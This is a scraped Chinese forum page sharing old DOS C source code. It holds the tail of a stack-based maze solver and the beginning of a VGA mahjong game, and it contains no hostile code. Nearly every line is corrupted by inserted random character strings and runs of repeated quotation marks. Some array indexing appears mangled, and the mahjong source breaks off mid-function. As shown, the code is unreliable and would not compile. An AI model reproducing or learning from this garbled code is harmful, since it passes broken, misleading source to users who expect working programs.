4 b5 @& F& E5 s- L9 n/ h8 w, welse return FALSE;
6 D' H+ L6 ^, _1 \} /* Pass */' v3 I- F# B- n) n+ t9 Y/ {- p: r  d; D
void MarkPrint(PosType seat)
! L$ h% S" f1 B, g9 D" E2 s/* Mark the position seat. */2 E3 w6 R3 F# Z* K6 Z7 ~
{: k7 y; G* S" m& t2 U  T1 Y
maze[seat.x][seat.y].mark=-1;
: f( [4 c3 N9 L. Z/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
: U) a6 Q, Y- P" |} /* MarkPrint */
9 E8 R# U" H* K5 P  W  ?( z; {void FootPrint(PosType curpos)) l  u$ r/ V8 `% D& C; a, h
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
- Y# S+ |4 R# m; w8 c' ^{$ F, S- B3 G2 f# I
maze[curpos.x][curpos.y].foot=1;
0 z3 _9 I5 s0 Q  l} /* FootPrint */; l# O) P; F/ ?
PosType NextPos(PosType seat,int di)" U% S3 K: `. _1 T" X4 b7 `7 Z
{! u" t! N2 p7 \
switch(di)
' g. z7 ]; n( d4 \{# S& O7 S! v: n0 T( s+ S
case 1: seat.y++; return seat; /* Eastward */0 g! [/ s+ t$ o" r
case 2: seat.x++; return seat; /* Southward */
8 }6 f% x, c& O' w& I7 Z) tcase 3: seat.y--; return seat; /* Westward */
' }( r% t5 v+ U+ ^% b: Z, hcase 4: seat.x--; return seat; /* Northward *// Y/ |5 f4 h# b8 Y0 s
default: seat.x=0; seat.y=0; return seat;6 L, z# E' k' }% x$ l3 [
}
/ h9 n; h- e- |5 Q% R  t} /* NextPos */
) ^4 D" k8 b. ^+ |7 a  N4 V( l' K8 X  b/ z! b' p1 R
/* The key to the program. */
# J. G# b4 T/ t/ x/* Pre: The maze array &amp; the startplace &amp; the endplace.$ [0 s* h  Y( h7 T! E
Post: Find the one traverse of the maze and perform the mazepath.
$ Z! c1 `% y6 n8 Y! Y. gUses: The ADT stack class.( c* J: d; l# F( E$ X
*/* B% Y- Y1 S- B0 n; O# \9 Z0 J
Status MazePath(PosType start,PosType end)
5 W) D8 k: e1 l6 X{. @, C# I' g/ j
PosType curpos;, s/ q9 ?/ H. I' L) e6 |$ _" c
int curstep;
1 ^4 H& t; a: j) ^" s: l5 _( E' MSElemType e;0 v( E) e* U# m7 f  E! a) M  S' \
Stack *s,stack;
; k, w8 F% R, f8 U, J" bstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));$ n# [4 d3 a" w' H3 Y+ T* X
if(!stack.base) Error("Overflow");
% D* M6 l! M6 b" F4 a* U! bstack.top=stack.base;
! l3 |: W9 O9 Jstack.stacksize=STACK_INIT_SIZE;" h" E; s0 [( L$ A& z- ^( B
s=&amp;stack;
9 y3 r7 W& Y" y( c  O$ Ecurpos=start;; Q9 Z7 Y: F) b
curstep=1;
5 G& O4 i  O% z9 _3 v, ddo
% W) V! r& y5 K, x3 z{, Z1 S4 i. B5 V
if(Pass(curpos))! O5 P& s4 ]9 F$ E# s- B
{
* @; \+ g, j8 d2 R4 }" `FootPrint(curpos);
8 I  U; o) n5 Le.ord=curstep; e.seat=curpos; e.di=1;
: C0 T! Q1 @+ [' lgotoxy((curpos.y+1)*2,curpos.x+2);& }# c" j% D/ D! m& a" t& A
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');3 B) J% m7 f* k5 U; |& _3 J8 A
delay(8000); /* pospone time. */1 U! {# u* j1 y2 o/ [3 ^. S; ?. ]
Push(s,e);
3 A/ |7 l/ B' o" x# ^- v6 cif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */6 i2 V' z. W4 R* G# {7 s  s
{
% Y4 e1 @7 r6 |: U& u5 t# EDestroyStack(s);' V% N4 [* e4 W4 y1 b( h
return TRUE;9 v' a2 v. e9 h% p0 M8 ]; b
}. [& H/ `0 Z3 M. h
curpos=NextPos(curpos,1); /* Try next position. */2 z4 y" {& ~( \6 c
curstep++;
! b( U2 l7 H0 m* M2 Q}
2 f9 L. U5 m! i9 t& o7 h7 Gelse
, t5 X' N, x. t* m! y6 I( W{  F% N" u: H% B4 A# X
if(!StackEmpty(s))
% a9 j$ s; D0 z& ~/ b+ W. [{# d) B$ \- @- g5 s
e=Pop(s,e); /* Removed e from s. */3 r  W0 D0 o& a- F& T
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked$ h& w5 \  C4 W6 F( J: z
and s is not empty. */
6 \2 ^& Y$ U- c0 ^# y{
2 Y8 ^( {& t( L$ e9 QMarkPrint(e.seat);4 y2 Q1 B! P8 Z3 D! i
gotoxy((e.seat.y+1)*2,e.seat.x+2);* {. u  K; c4 k# J
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
1 |( C/ M/ D' N0 Kdelay(8000); /* Pospone time. */% i. G0 ]6 i3 `
gotoxy((e.seat.y+1)*2,e.seat.x+2);
1 K; @6 P5 J0 i! d( H; Yputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');4 c! N( r/ l& F% l6 Z
e=Pop(s,e); /* Remove e from s. */4 O. g9 U) ]  n3 g. x2 }
curstep--;
" R0 Z2 r  N0 {( Y, C) x3 L0 g}8 w$ V; \8 u* m) b" |6 m
if(e.di&lt;4) /* The current position hasnot been checked. */2 u! B: m) j9 }9 F( D4 K
{/ E: M+ R+ O8 q0 v9 h
e.di++;
: E* s# P, j: k1 [Push(s,e); /* Insert e into s. */( k5 Q% @2 }* Z% ^; y  q3 y8 q2 T7 w/ z
curpos=NextPos(e.seat,e.di); /* Try next position. */
, d8 c6 H+ \: f0 s2 l5 j3 B% X7 U9 Y}
, K& H2 a2 r+ m# T0 m}
/ M) x: v5 j9 W' h+ Z, o% c}
0 x% a5 Q; W+ f}8 N9 W2 \4 {. `  ~/ T: ^0 x
while(!StackEmpty(s));2 H/ C/ j5 |0 Q8 W1 C& D% n1 D
DestroyStack(s);. K- a3 I$ g1 W" _" B
return FALSE;- G2 n" j$ U( h% z, }
} /* MazePath */- m+ e4 a! M9 j$ p! Y3 C& z
void main()  z4 _! X& t& @+ L
{
5 i( m' c5 K. O8 {PosType start,end;7 n7 F" m5 m4 U6 }
CreatMaze();
: w. k8 k7 M0 j/ P& a; D; ~start.x=StartPlace.y;
8 n+ ^$ \; `- m5 \: _start.y=StartPlace.x;
2 K' C, g  K1 b0 M: @0 y# rend.x=EndPlace.y;
5 B! ~# [1 r7 Z" I2 h& qend.y=EndPlace.x;
1 M& i& Q! v; w$ z  w8 z) {if(MazePath(start,end))! u$ g3 k. z, T! p2 P7 f
{- e* k( B/ H5 r6 d, V: [/ ^& @, p
gotoxy(2,22);
* k0 [* H9 n* m6 R) Fprintf("ath found\n");6 }& A0 C2 U( w# R  v0 c' L/ o
}, s9 `! \" Y+ C% f" P& G0 `
else! W$ i  U7 G4 n, M
{
5 v, _& r! X* O/ Kgotoxy(2,22);
3 ]& f& O$ f! [/ K0 h# ?8 G( f. Vprintf("ath not found\n");
) \6 [1 t! O0 A: G: {4 c}
9 q, H' \# q2 g1 z# ]8 c' ^getch();
; ^, ]/ d% Q: n  w7 Zclrscr();
2 f, X3 w( b/ _  l4 w- H! k} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传4 i' e: F( S! F  P# \
/*天宇软件
; W) P4 z, y/ k2 U6 [9 ]  e作者:上海黑暗之龙
8 L: ?- S  A* z* u2002/10/30  A5 U% v& U6 W, Y6 r3 |5 d
麻将原代码*/
! L  }( ?' l. o/ V8 J+ V$ Z: t#include "dos.h"  s* ?4 O7 I& i; t6 O/ R$ r
#include "stdio.h"- p5 z/ a: N$ T) q
#include "graphics.h"
/ W' k" L7 Y" I* \% |0 E0 w#include "bios.h", ]+ G0 n1 g) a: `* C" e4 R& {
#include "conio.h"
1 P& i  w% d1 x* L#include "stdlib.h"7 s9 M% y! X% Z9 |- Z1 g
unsigned char far *video_buffer=(char far *)0xA0000000L;8 ?0 j+ L# @5 P4 K( G$ x  m7 S
#define VGA256 0x13 /*图形模式13h*/2 z2 J, I* f) N) i
#define TEXT_MODE 0x03 /*普通文本模式*/, X, I; x) \8 g" \: X' R% |
#define SETVGA Set_Video_Mode(VGA256)& b2 V* c8 c2 G  V7 J) g
#define OUTVGA Set_Video_Mode(TEXT_MODE)
' ?4 @+ z; [+ r1 X6 R8 K. f: D#define BYTE unsigned char
: t# Z; z5 a8 O$ c& O$ w" i- R  r#define WORD unsigned int
0 X! M! q# d: o& V6 S#define DWORD unsigned int, ]* `# Z* I4 g9 g; m* h' X9 R3 `
#define ESC 2837 ?; S% N2 ^* ]" V# i( w: n
#define LEFT 19200
0 z& n8 U1 d7 X& a; e#define RIGHT 19712
2 o" P, Z8 j9 `#define H 90647 S6 E% F6 u8 X# u- x& `
#define ENTER 7181  ?6 b$ j, n% ^* h6 a2 k
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;9 M% ?1 \! ~' S9 R! y3 C, j5 I) o1 [
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;6 I' G  t6 p4 k8 [" E
struct chi( I6 t+ ~9 S: W0 O8 j. T, e
{
! ^9 ]4 b1 g1 U  A) h/ nint lg;
/ U) K3 w+ l: j9 \+ u4 t0 yint lgg;9 H: ~! a  n4 ?+ w3 G7 k& `
}ch[13];
4 Q) w9 W" g9 e) |; Z% ]struct mj
, L( e/ }8 j/ A2 i' n{ char *name; /*名字*/
* L6 f) v; D: x! ]/ f* Eint data1; /*是否已出,无用了*/
$ o3 m2 F. H! D- q. Iint data2; /*是否在手中,1为自己,2为对方*/
# F2 S: Z( X4 E. Qint number; /*同一个花色的第几张,共4张*/
  v2 L1 W1 ~$ L' p, w}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
9 B' x5 s( Z4 C+ y& J"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
/ U5 \5 t3 c; f  r6 A* B, `! h"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,. q9 f6 `, u* i& E8 D# O& V# j
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
# W4 N7 p! u0 C# t8 Q"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,& T( D) N0 M) ~8 v! v
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,$ e  s: z& |! ]
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
0 g+ M8 c: K6 J"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
! `% Q! f3 d# S" K! w7 k"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,  X) y) d! k, a" v
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,& G5 g" v; M: V4 X* _+ o
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,5 f% b  \( K. v( ?; K# F, P
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
: h* H- d* |8 N6 J"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
. F# ?( v8 O1 v* ~. S9 R% k" x"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
9 X7 D& G/ Z9 V$ _6 S  _6 k"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
. j+ c5 A' Z& z; f9 ?! ~! c"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
" B% K2 `8 _' o% r" e# @"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
2 U0 v0 H3 O/ X! \6 _. H) g0 X"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
- |2 Q. d& ?  A# b- i0 C. ?$ a"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,8 Y* ^5 k8 w1 b+ |7 v- E
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
" `8 l$ F3 @! x& w"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
/ @) E- ^6 ]% F/ f"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,4 g# C+ d& j; A2 @* d" O: _
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,. m9 }; z  A1 H  x; V9 R
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
# ]# M* }0 t: L* u"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
6 `6 G& ~5 P1 t# s# b* z"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
# a+ D& e0 S: j0 I"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,1 c# d6 w7 [8 R' A8 ]. Z
"34.bmp"};
: {4 @1 [5 _* R# Jstruct every6 t7 Y( ]6 w4 J9 T& t# @
{ int *k; /*名字*/
( g$ x& `/ E5 [* cint oneorfour; /*同一张牌的第几张*/! b) R* u2 I/ Q  K
int number; /*第几张牌136*/
; |, s; `# C4 }" Oint p;
+ n  n: A4 y$ P7 p& F6 ~int g;/ r/ M4 z9 m- q* U
int c;
' a7 f& [2 Y0 u% g' U4 a+ Gint d[2];
& c) @2 d/ d* x  D, C% F: P};
: e" o: _( C' U2 f5 U+ Tstruct me0 |3 z# J9 K* ^* k
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
1 D! L8 P8 t- k7 @int p; /*乓对方*/
0 [1 k6 c  Y9 Lint c; /*吃对方*/- \% \) ?& A1 U: d
int g; /*杠*/
% C/ h. P2 j/ k/ y$ a1 V- F
& v) G' H, G3 I0 d( e; _struct every pp[14]; /*存放手上的牌*/1 S# F4 i% R0 o6 t# b/ K0 D; ~
}me;
  a* p& |# x# V4 n- _- bstruct computer
+ A4 ^2 Q9 E- ~{ int m;5 J# B; ?' f3 J* ]  _6 B$ \  f7 ^
int p;
' i9 A7 `7 R+ Y7 k9 hint c;5 P: \5 y! f# N' b
int g;
6 d# P; z2 B* v$ ~struct every pp[14];" x" P7 N- F$ G4 \9 W5 C8 p
}computer,comp;% e# E  v/ v: ~
: \4 e) @+ E( C  A$ X4 M7 |
/* 设置调色板 */) v+ I% V0 y5 F6 p4 S4 A2 W
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)' V, {4 x0 V1 I, D+ u4 v1 ~* R
{  ^. e# J# `$ O/ }/ f9 V
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/) Y5 Y; j7 Z# H8 K# L$ T! D
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
7 l8 M0 S( G! k4 `outportb(0x3c9,g);
! o' D6 \( z1 zoutportb(0x3c9,b);
" b; N% H0 B- V) m( R9 ?6 r}( S) [6 T( C3 I7 J! V
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
2 V% y' @# {" a. e/* 设置显示模式的函数 */
' e' K8 f+ x& G4 J( ^- S  Avoid Set_Video_Mode(int mode)
( t# |% S% R' K% p: _6 i" K{% G- T6 \3 X6 s9 ~
union REGS inregs,outregs; /*定义输入和返回寄存器*/% E$ n; f, h* }" D3 e+ q
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
4 |2 h" D. y( T" [, e- g& B. Kinregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
6 g8 J* L( j; ]* S0 `0 E. rint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/5 Q+ P  F. a) p% O" F5 G9 G
}; R8 v; F7 `$ R9 Y* M4 S5 G
void v_line(int y0,int y1,int x,unsigned int color)
: a: A" ]& M; z: k{ unsigned int address,n,temp;
! ?& @1 f! K" w4 r8 ^if(y0&gt;y1)1 |7 v% I. c8 v) N  v' Q
{, K! t, U" a) M$ D+ b2 _1 {) [
temp=y1;
! O0 P' _9 `8 |6 l: ey1=y0;' v* }! q9 G& [+ Z
y0=temp;
3 P  t: U$ f: t- o) d$ ]8 g}, ~% j3 Q) ?, \. j
address=320*y0+x;
% }, S. q( W$ ~/ x7 q+ Gfor(n=0;n&lt;=y1-y0;n++)
* ?, H+ A! K- ^9 ]9 s3 M. q{7 k- L: `) k1 m; z' C
video_buffer[address]=color;
$ f2 x% R8 }, f* M' [$ S# e# raddress+=320;  R2 m! P) L* w9 x: a6 G! a. ?" l
}
/ D) p% g: w5 }* d) W+ B" n  }}
3 M0 O+ o0 S: E6 j2 G% Wvoid h_line(int x0,int x1,int y,unsigned int color)$ g/ V$ x; Q! l( B8 [
{ unsigned int address,n,temp;
  h3 j# N0 y$ rif(x0&gt;x1)+ \: M5 V; x4 Z$ I  A9 i
{
- Y2 a- d" g% W5 X- Etemp=x1;
/ y. @  c8 v2 e% ^- F0 E" d3 `x1=x0;9 I. h2 @% ?. h+ W" L
x0=temp;0 Q1 y  I& ?$ A4 B0 R9 ]: A9 M
}
+ ~; \) J, o" E/ saddress=320*y+x0;
, N4 I7 I- j7 @% cfor(n=0;n&lt;=x1-x0;n++)
& w* v, h# O2 J! L; U' A8 V' ~{% L) C; S0 E9 ~( S5 I) }: A2 w: q
video_buffer[address]=color;; {- O0 y* B! {3 k# g+ W: ?
address+=1;
' W7 ?1 g* k2 _6 O" B# C}: O, `6 b+ Q# w
}
3 P* E- P7 d( h$ Bvoid p_pixel(int x,int y,unsigned int color)( R* V% C* U7 ~, G/ @1 j( H
{ video_buffer[y*320+x]=color;
3 r! e! K+ R9 Z9 ~+ `+ _}
; c3 |) a# L" B; C8 F, c  xvoid s_square(int x,int y,int side,int color)
" L7 R, h* X: Y/ Y* P8 J{
- Z4 K# J  n1 M9 G( V% \2 {3 ch_line(x,x+side,y,color);
$ J  A, ]7 ]1 t, y: l) @) o. Eh_line(x,x+side,y+side,color);, @; _7 D* n' z0 x
v_line(y,y+side,x,color);
5 n1 `5 X- r# E, l" F. d) j! Lv_line(y,y+side,x+side,color);
4 ]8 U* A5 \/ Y% s4 b8 T3 x$ W}% `8 i- E1 J- ?9 o) v
void r_rectangle(int x1,int y1,int x2,int y2,int color)
" _, q8 z$ h0 v/ T& B! X- M{
+ h7 C0 ~* M) Q% [6 U7 d" P/ U+ ?h_line(x1,x2,y1,color);
9 c7 t6 O. e" ~! qh_line(x1,x2,y2,color);; q* x4 [5 p8 ]9 b
v_line(y1,y2,x1,color);' [9 f( t6 g- @. i
v_line(y1,y2,x2,color);: i4 G3 Z8 l; T2 x
}* E( s2 ]  q% `' D
void fillRectangle(int x1,int y1,int x2,int y2,int color)
% d* {3 _& m2 W9 C. h8 ?{( i4 I( j- i! l
int i;- Q. J$ e! F" M+ U5 z
for(i=y1;i&lt;=y2;i++)3 H% S* O9 u5 g( w* t3 l- n# n4 P
{
: V$ j) W9 Z# c, f2 Ih_line(x1,x2,i,color);
& l3 u* I0 P5 B4 @' ?6 [9 @; B}
" ^' ~7 [  H7 L, N* `}! F6 [0 \) v6 c  a$ c/ r) ~- e/ O
void showbmp(int l)% x# ~; A/ z# h5 Z. ~
{ FILE *bmp;
3 P3 r( e1 N: h" Gint i,x,y;
9 P. K' r6 h) Q! `' lBYTE palette[256][3];& G8 K8 L8 f0 k& s
bmp=fopen(me.pp[l].k,"rb");1 ?$ J# B: P- Z& g8 e0 K: N6 K( y
fseek(bmp,54,SEEK_SET);
8 I( f, z( |; c  Zfor(i=0;i&lt;256;i++)
: ?& `% H+ f+ G& B( t6 H{2 T$ O2 [8 y/ D
palette[2]=fgetc(bmp)&gt;&gt;2;: ]8 j$ K2 j1 t. j' R2 B% N0 U! ~
palette[1]=fgetc(bmp)&gt;&gt;2;! R/ T% I3 g$ I: @) J; c
palette[0]=fgetc(bmp)&gt;&gt;2;
" J; S) r0 [' {/ ]; j( F; P7 Nfgetc(bmp);
* B* k, N9 ~  m- r5 Q, P( {- {2 OSet_Palette(i,palette[0],palette[1],palette[2]);
3 i9 w2 \$ q5 e* y* ?$ G9 M% ~( W}) d( m1 s. E) c# [& b8 E+ c
for (y=0;y&lt;30;y++)
( t) J) r( |0 r1 B" qfor(x=0;x&lt;20;x++)
( f; E( c9 U/ Qpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
$ Q' g0 j7 Z' sfclose(bmp);
1 a& F4 n( T& E, N}
. s* v$ X% ~0 dvoid showbmpd(int l)1 i$ b  g0 O: P% l; E8 [$ T
{ FILE *bmp;
5 j* c! D5 W( b  I/ l" {/ {! r: Sint i,x,y;; b) R( G- g- L+ `1 U
BYTE palette[256][3];& _7 @9 k# h3 |$ C- `  \& c( S
bmp=fopen(me.pp[l].k,"rb");
3 Q5 Q  _/ x# l7 G' V8 S9 vfseek(bmp,54,SEEK_SET);
4 ]$ A* k/ D* X& ~+ [, wfor(i=0;i&lt;256;i++)
; k& k% t9 i2 y8 D6 [3 `/ P+ V6 l{' ]) K( [5 h* i% ~9 e
palette[2]=fgetc(bmp)&gt;&gt;2;
8 S, G: E& F9 p3 |& ^palette[1]=fgetc(bmp)&gt;&gt;2;
( o7 E$ |' X1 ?7 v7 M/ {palette[0]=fgetc(bmp)&gt;&gt;2;
  Z4 X8 D7 w; H  i8 Tfgetc(bmp);
6 T$ S: S" _% r% M( {3 l- RSet_Palette(i,palette[0],palette[1],palette[2]);1 f" V1 q: z" [4 p; ^
}; K1 j% O- Q* r& \
for (y=0;y&lt;30;y++)) F5 s5 M# N% B9 F& G
for(x=0;x&lt;20;x++)
+ B0 z: t. _7 [3 Q8 opokeb(0xa000,y*320+x+zyy,fgetc(bmp));  k; d  L: D' t: |4 Z
fclose(bmp);
) O0 |3 X' y4 Z- Y}1 n) i! y7 `. |# J
void showybmp(int ll). l% V0 _$ A7 y6 G; e
{ FILE *bmp;/ w% _% B% i  z, ], q
int i,x,y;0 X  F: X% F6 q6 z
BYTE palette[256][3];* g  `* l5 Q# F% c% i- T
bmp=fopen(computer.pp[ll].k,"rb");
5 z+ c) i( r7 ]7 _* zfseek(bmp,54,SEEK_SET);
( b+ Q$ p7 j, s% Q6 dfor(i=0;i&lt;256;i++)4 I+ h6 {* m( n7 O2 y
{
9 p, x# b+ X+ e( C4 E* Hpalette[2]=fgetc(bmp)&gt;&gt;2;
3 e# X% c9 o% p/ G+ kpalette[1]=fgetc(bmp)&gt;&gt;2;
& q# [, f0 v: v% L8 O. v! ]8 d1 Kpalette[0]=fgetc(bmp)&gt;&gt;2;
8 x  @& g* Y9 a$ K0 \) R2 _fgetc(bmp);
4 _9 m& [) c7 s( C" J, V4 [/ ]* dSet_Palette(i,palette[0],palette[1],palette[2]);
  H5 w" H. K7 y  d! z" @}
3 ~- o9 ^1 G/ v+ d. l! Z0 P6 ~! `for (y=0;y&lt;30;y++)
8 z8 B* p# C+ X/ M' P4 S; G  H- _3 ?6 {for(x=0;x&lt;20;x++)& O% @; j1 ^5 v  L0 n! A
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
: ~% H7 w" Z, {; v  {0 ]fclose(bmp);' A  ~; {, \" d" [
}+ F- x5 ?; c6 i% T4 K, [
void showcbmp(int ll)
; N; o- P! p( q* r# ~* G5 g$ Z{ FILE *bmp;
# @/ ]) A1 Q" n8 xint i,x,y;
6 _8 s) ^5 k& z+ }BYTE palette[256][3];
/ w& Y% b, d( fbmp=fopen(computer.pp[ll].k,"rb");0 T, j" @) a5 p) u& e
fseek(bmp,54,SEEK_SET);( O* r/ p/ j- d
for(i=0;i&lt;256;i++)0 D, y7 o2 |# m6 h3 z
{
/ _4 R4 a2 ^+ J, r/ I8 @palette[2]=fgetc(bmp)&gt;&gt;2;
7 j6 B8 K. w( L- f# u: t6 Cpalette[1]=fgetc(bmp)&gt;&gt;2;+ X" e  i+ f- I' y8 N: a: z5 G6 i
palette[0]=fgetc(bmp)&gt;&gt;2;: ~; x1 W0 r6 Z1 I$ Q9 C
fgetc(bmp);
' J& ^5 U9 ^8 a3 P# uSet_Palette(i,palette[0],palette[1],palette[2]);
+ e3 Q+ Y; H% |9 c1 [- Z& T1 M0 L}! m- j9 t, B- R5 l
for (y=0;y&lt;30;y++)( P* G; O# s$ k) n9 H( U* c/ L
for(x=0;x&lt;20;x++)
/ ?. D: L$ t) ~pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
# l4 U. K) z, h" p) Afclose(bmp);4 w9 b( r2 r- m3 T1 ~( k. {# _
}  }1 U4 u9 A$ Z8 P, I, H5 a1 m
void bmpp(int number)
  @8 X. T( r- x( x" C{ FILE *bmp;) e& L! h) d5 E0 V1 K% T
int i,x,y;" b1 f% g, P1 M3 B- ~
BYTE palette[256][3];4 o! J* k- j! ]% l  i' S$ v7 {: ^
bmp=fopen(m[number].name,"rb");
, k6 l2 r: j' H) efseek(bmp,54,SEEK_SET);& ]( }" ^5 Z8 m4 w5 ?) f" G5 }
for(i=0;i&lt;256;i++)* V, n. @- z* {) p
{
  [' }. v, Z! ~: z+ v6 \9 E  [palette[2]=fgetc(bmp)&gt;&gt;2;* a6 ]9 s+ ?# l6 r* E' U3 O
palette[1]=fgetc(bmp)&gt;&gt;2;, a" P. N6 k" T9 G2 {8 e" |
palette[0]=fgetc(bmp)&gt;&gt;2;
$ l0 P2 D# h; hfgetc(bmp);
2 S" z4 b8 Y6 A: ySet_Palette(i,palette[0],palette[1],palette[2]);; a( ?/ y9 [4 i4 y1 @% j5 n) w1 W2 W
}' N4 U; w# E0 p% b8 H; m, ?4 T
for (y=0;y&lt;30;y++)
& i1 e0 _3 Y4 C) o  t& Z3 n3 p+ Vfor(x=0;x&lt;20;x++)3 m% S8 t9 W( L8 r) J
pokeb(0xa000,y*320+x+zl,fgetc(bmp));6 e: ?# y1 X5 f
fclose(bmp);
2 t  O0 L2 ?9 Z$ Y/ \}7 X6 u8 {' n% r2 E! P
void comlipai() /*整理电脑的牌*/
+ X# d$ F- t% p# q( r{ int n,j,u;' m$ t: |6 N. Y# ?  Y+ V7 ]/ `3 L
int *lingshi;# o% P8 R" [0 J$ ^( \  F' Q
for(n=0;n&lt;computer.m;n++)0 |  [% ]: R7 A7 E( q4 [
for(j=n;j&lt;computer.m;j++)' v4 u6 v# @9 \* K. J" r
{
# q* j: j: E0 {- Y5 x) L# oif(computer.pp[n].number&gt;computer.pp[j+1].number)
4 I& ^6 A. J% c6 R6 d# a; m{/ l# H1 H: W7 x5 h1 \
lingshi=computer.pp[n].k;
% N: S1 \5 A, \3 b- L. u/ s' J  scomputer.pp[n].k=computer.pp[j+1].k;
! m- C. Q* c: {' Ccomputer.pp[j+1].k=lingshi;1 K8 }( h+ _* D" {: L% W, u* J1 P3 K
u=computer.pp[n].oneorfour;; |. a, `6 D8 k$ M, L' L, r" I: y. ^
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
+ Z' n. R) F; f& Rcomputer.pp[j+1].oneorfour=u;4 J1 H! E' ^; g; o0 I& G
u=computer.pp[n].number;
/ N  W  B  v9 {# X+ {% z+ qcomputer.pp[n].number=computer.pp[j+1].number;" D# K9 g  v+ n7 X; i: I
computer.pp[j+1].number=u;, m+ m+ P& i! k! D
}
7 g' J( }: o# ~# h' zelse5 A, k9 M0 p0 ~! q0 F2 U" D
if(computer.pp[n].number==computer.pp[j+1].number)6 p. v9 b$ X" c. I4 n9 H
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
( y* g$ g( c7 z+ X( v- b{6 j0 p2 L7 ^9 A, i1 k9 }! w
lingshi=computer.pp[n].k;" p3 G1 d% O1 l2 l
computer.pp[n].k=computer.pp[j+1].k;
% S* n% Q4 J* X5 A0 Y9 J$ {5 n# k$ vcomputer.pp[j+1].k=lingshi;
  T. v1 S, v9 N0 @- `u=computer.pp[n].oneorfour;" o% E1 s& m  V3 N6 U/ q. p! x
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
